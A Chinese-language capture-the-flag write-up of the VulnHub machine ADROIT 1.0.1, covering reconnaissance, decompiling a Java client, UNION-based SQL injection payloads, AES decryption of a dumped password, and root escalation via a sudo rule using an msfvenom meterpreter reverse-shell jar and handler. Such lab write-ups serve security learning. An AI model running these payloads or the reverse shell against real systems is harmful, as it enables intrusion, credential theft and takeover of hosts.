vulnhub靶场之ADROIT: 1.0.1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Adroit: 1.0.1,下载地址:https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova,下载后直接vbox打开即可。
知识点:shell反弹(jar)、sql注入、简单的代码编写、逆向、dns解析。
这个靶场比较推荐,因为之前做的大都是python、php的,这种java类的是很少遇到的,所以还是很有价值的,大家遇到有趣的靶场可以留言一起交流交流。
一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.0.0/24,发现靶机地址:192.168.0.13。
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.13,显示开放了21端口、22端口、3000端口、3306端口,开启了ssh服务、ftp服务、mysql服务。
2.ftp服务
在nmap的扫描结果中显示ftp服务可以匿名登录,那我们访问下ftp服务,发现三个文件:adroitclient.jar、note.txt、structure.PNG。
查看下图片信息显示的应该是这个靶机的网络结构,note.txt文件是提示信息,但是现在不知道有什么用,先放在这。
二:逆向分析代码
对上面获得adroitclient.jar文件进行逆行,工具比较多就不一一列举了,这里就使用jd-gui这个工具了,使用jd-gui工具打开adroitclient.jar文件后包含四个java文件:AdroitClient.class、Cryptor.class、R.class、Idea.class。
对AdroitClient.class代码进行分析,得到建立连接使用的是adroit.local地址,因此我们需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.13 adroit.local。
然后对下面代码继续分析发现userName=zeus,password=god.thunder.olympus,继续对代码分析后面是post和get两个请求方式,这里咱们选择get方式,然后是下面的核心代码,简单的分析了下,大致意思是让我们传递一个id值,然后将该信息传递到了上面图片中的socks服务端,然后在接受一个返回的response值。因为具体的socks服务端是如何做的不太清除,目前只能分析出来这么多。
request.setOption("get");
System.out.println("Enter the phrase identifier : ");
String inp = scanner.nextLine();
String id = crypt.encrypt("Sup3rS3cur3Dr0it", inp);
Idea idea = new Idea();
idea.setId(id);
request.setIdea(idea);
os.writeObject(request);
R responseobj = (R)is.readObject();
String response = responseobj.getOption();
System.out.println(response);
三:SQL注入与解密
1.sql注入
在本地执行下adroitclient.jar文件,命令:java -jar adroitclient.jar,然后按照要求输入账户、密码、请求方式、id信息,进行测试(这里向socks服务端发送的是idea类),但是没什么返回信息。
后面想到他开启了mysql服务,这里是不是可能存在sql注入,然后就进行了测试,输入参数:1 union select 1,database()--,成功获得数据库信息:adroit。这里两个参数是因为idea类具有两个参数。
然后就是一直进行注入,获取数据库内的数据,执行步骤均同上只替换下最后的语句即可,最后成功获得加密的密码信息:l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=。
#获取数据库内表信息
1 union select 1,concat(table_name) from information schema.tables where table schema='adroit'--
#获取表内列信息
1 union select 1,concat(column_name) from information_schema.columns where table_name='users'--
#获取表内数据
1 union select 1,concat(id,0x7c,username,0x7c,password,0x0a) from users--
2.密码解密
对获得的加密字符串进行解密,解密的核心代码主要是Cryptor.class文件中的decrypt函数,解密后得到密码:just.write.my.ideas。
package com.company;import java.security.InvalidKeyException;
import java.security.Key;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;public class Main {public static void main(String[] args) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {String key = "Sup3rS3cur3Dr0it";String text ="l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY=";Key aesKey = new SecretKeySpec(key.getBytes(), "AES");Cipher cipher = Cipher.getInstance("AES");cipher.init(2, aesKey);System.out.println(new String(cipher.doFinal(Base64.getDecoder().decode(text))));}
}
3.获取shell
利用获得的账户和密码信息:writer/just.write.my.ideas进行ssh登录,成功获得shell权限。
获得shell权限后在/home/writer目录下发现user.txt文件,读取该文件成功获得flag值。
四:提权
1.查找利用点
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/java -jar /tmp/testingmyapp.jar。
2.生成shell反弹jar包
那我们就可以生成一个进行shell反弹的java包testingmyapp.jar。这里可以使用idea、eclipse、msf均可以,我开始使用的是idea制作的jar包,但是因为本机(win)java版本太高,导致到靶机里没法执行,然后找了另一个虚拟机(kali,java版本较低,未对高版本进行测试)使用制作了一个testingmyapp.jar,命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=6688 W >testingmyapp.jar。
然后开启web服务,将该文件下载到靶机中,命令:python -m http.server和wget http://192.168.0.11:8000/testingmyapp.jar。
4.msf利用获取root权限
然后在kali中启动msf并进行如下配置,做好配置之后在靶机的shell中已root权限启动testingmyapp.jar,命令:sudo /usr/bin/java -jar /tmp/testingmyapp.jar,成功获得root权限。
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.0.10
set LPORT 6688
run
获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。
相关文章:

vulnhub靶场之ADROIT: 1.0.1
准备: 攻击机:虚拟机kali、本机win10。 靶机:Adroit: 1.0.1,下载地址:https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova,下载后直接vbox打开即可。 知识点:shell反弹(jar&…...

【非欧几里得域信号的信号处理】使用经典信号处理和图信号处理在一维和二维欧几里得域信号上应用低通滤波器研究(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...
【深入理解ES6】字符串和正则表达式
概念 字符串(String)是JavaScript6大原始数据类型。其他几个分别是Boolean、Null、Undefined、Number、Symbol(es6新增)。 更好的Unicode支持 1. UTF-16码位 字符串里的字符有两种: 前 个码位均以16位的编码单元…...

易服客工作室:Pixwell主题 – 现代杂志/WordPress新闻主题
PixWell主题概述 Pixwell主题是一个强大、多用途和现代的WordPress杂志主题,具有像素完美的设计、出色的功能、完全响应和移动友好。它非常灵活,非常适合食谱、时尚、旅行、技术、个人或任何其他很棒的杂志和博客网站。 该主题与 Elementor、Cooked&am…...

iOS手机无法安装Charles 的ssl证书
问题描述 iOS客户端安装证书时一直卡在下载这一步,无法抓包 1、打开Charles,选择help→SSL Proxying→Install Charles Root Certificate on a Mobile Device or Remote Browser 2、按照步骤1中的提示进行操作,手机连接电脑代理,…...
Promise处理异步操作
Promise是一种在JavaScript中处理异步操作的技术。Promise对象表示一个尚未完成的异步操作,它可以在将来的某个时候产生结果。Promise对象的状态可以是未完成、已完成或已拒绝。当Promise对象处于未完成状态时,我们可以附加一个或多个处理程序࿰…...

jpa查询返回自定义对象、返回指定VO、POJO
jpa查询返回自定义对象、返回指定VO、POJO jpa查询返回自定义对象、返回指定VO、POJO,JPA查询前会做大量处理,还有线程通知的操作。若并发大,处理性能直线下降。但是jpa就因为做了大量处理,对多数据库兼容极好,操作方…...

抖音小程序开发,收银台支付回调通知
大家好,我是小悟 关于抖音小程序收银台支付,可阅读【抖音小程序开发,唤起收银台,包括抖音支付、支付宝支付、微信支付】。 做支付功能最重要的一步就是异步回调通知,所谓回调通知就是唤起收银台支付,支付…...
selenium 爬虫
selenium 可以动态爬取网页数据,就像真实用户操作浏览器一样,从终端用户的角度测试应用程序,WebDriver通过原生浏览器支持或者浏览器扩展直接控制浏览器 webdriver下载 因为selenuim对浏览器的版本存在兼容问题,顾需要针对指定浏…...
亚商投资顾问 早餐FM/0815生成式人工智能服务管理
01/亚商投资顾问 早间导读 商务部等9部门:促进农村大宗商品消费更新换代中央财办等九部门印发指导意见推动农村流通高质量发展《生成式人工智能服务管理暂行办法》今起施行 02/亚商投资顾问 新闻早餐 // 热点聚焦 // 商务部等9部门印发《县域商业三年行动计划&…...

C语言题目的多种解法分享 2之字符串左旋和补充题
前言 有的时候,这个系列专栏中的解法之间并无优劣,只是给大家提供不同的解题思路 我决定将代码实现的过程写成注释,方便大家直接找到对应的函数,只有需要补充说明的知识才会单拿出来强调 这个系列的文章会更的比较慢࿰…...

科技云报道:算力之战,英伟达再度释放AI“炸弹”
科技云报道原创。 近日,在计算机图形学顶会SIGGRAPH 2023现场,英伟达再度释放深夜“炸弹”,大模型专用芯片迎来升级版本。 英伟达在会上发布了新一代GH200 Grace Hopper平台,该平台依托于搭载全球首款搭载HBM3e处理器的新型Grac…...

油电同价、标配8155,奇瑞猛攻10-15万中型SUV市场
8月8日,奇瑞瑞虎8冠军家族在北京国家奥林匹克体育中心正式上市,推出了瑞虎8 PRO冠军版、瑞虎8新能源冠军版两款新车,燃油混动双线同步发力。 其中,瑞虎8 PRO冠军版共推7款车型,官方指导价12.69万元-16.39万元…...

【leetcode】【图解】617. 合并二叉树
题目 难度:简单 给你两棵二叉树: root1 和 root2 。 想象一下,当你将其中一棵覆盖到另一棵之上时,两棵树上的一些节点将会重叠(而另一些不会)。你需要将这两棵树合并成一棵新二叉树。合并的规则是…...
基于java的汽车改装方案网站设计与实现
摘要 本文主要讲述了基于SpringBootMySql开发技术开发的汽车改装方案网站的设计与实现。这里的汽车改装方案网站是通过一个平台使所有的汽车爱好者们可以不用出门就可以体验到专业的汽车改装方案设计服务。现实生活中如果需要进行汽车改装的方案设计,往往要跑很多次…...

DC电源模块减小输入电源与输出负载之间的能量损失
BOSHIDA DC电源模块减小输入电源与输出负载之间的能量损失 随着电子产品的普及,DC电源模块已成为现代电子设备中不可或缺的组成部分。DC电源模块可以将交流电转化为直流电,并根据需要,以适当的电压和电流提供给输出负载。然而,在输…...

Python自动化小技巧16——分类汇总写入excel不同sheet表
案例背景 上了两个月班的社畜博主最近终于有空来总结一下最近写的代码了。 因为上班都是文职工作,天天不是word就是excel就是PPT和pdf....这和什么机器学习还有数据科学不一样,任务更多的是处理实在的文字和表格等格式,按照领导要求来完成&…...

FlexRay汽车总线静电防护,如何设计保护方案图?
FlexRay是一种高速、实时、可靠、具备故障容错能力的总线技术,是继CAN和LIN总线之后的最新研发成果。FlexRay为线控应用(即线控驱动、线控转向、线控制动等)提供了容错和时间确定性性能要求。虽然FlexRay将解决当前高端和未来主流车载网络的挑…...

jpg图片太大怎么压缩?这样做轻松压缩图片
图片太大会给存储、分享带来麻烦,但其实现在压缩图片大小也不是什么难事,下面就给大家分享几个一直用的图片压缩方法,包含批量压缩、在线压缩、免费压缩等多种方式,大家按需自取哈~ 方法一:嗨格式压缩大师 这是一个可…...

B057-spring增强 依赖注入 AOP 代理模式 创建Bean
目录 AOP概念代理模式引出AOP实现方式xml方式实现注解方式实现 AOP 概念 事务管理:比如可以抽取try catch的重复代码 日志监控:比如业务逻辑前后打印关于当前订单数量的日志,了解业务做了什么 性能监控:比如业务前后打印时间&…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别
一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...
postgresql|数据库|只读用户的创建和删除(备忘)
CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

Nuxt.js 中的路由配置详解
Nuxt.js 通过其内置的路由系统简化了应用的路由配置,使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...

如何理解 IP 数据报中的 TTL?
目录 前言理解 前言 面试灵魂一问:说说对 IP 数据报中 TTL 的理解?我们都知道,IP 数据报由首部和数据两部分组成,首部又分为两部分:固定部分和可变部分,共占 20 字节,而即将讨论的 TTL 就位于首…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...

从 GreenPlum 到镜舟数据库:杭银消费金融湖仓一体转型实践
作者:吴岐诗,杭银消费金融大数据应用开发工程师 本文整理自杭银消费金融大数据应用开发工程师在StarRocks Summit Asia 2024的分享 引言:融合数据湖与数仓的创新之路 在数字金融时代,数据已成为金融机构的核心竞争力。杭银消费金…...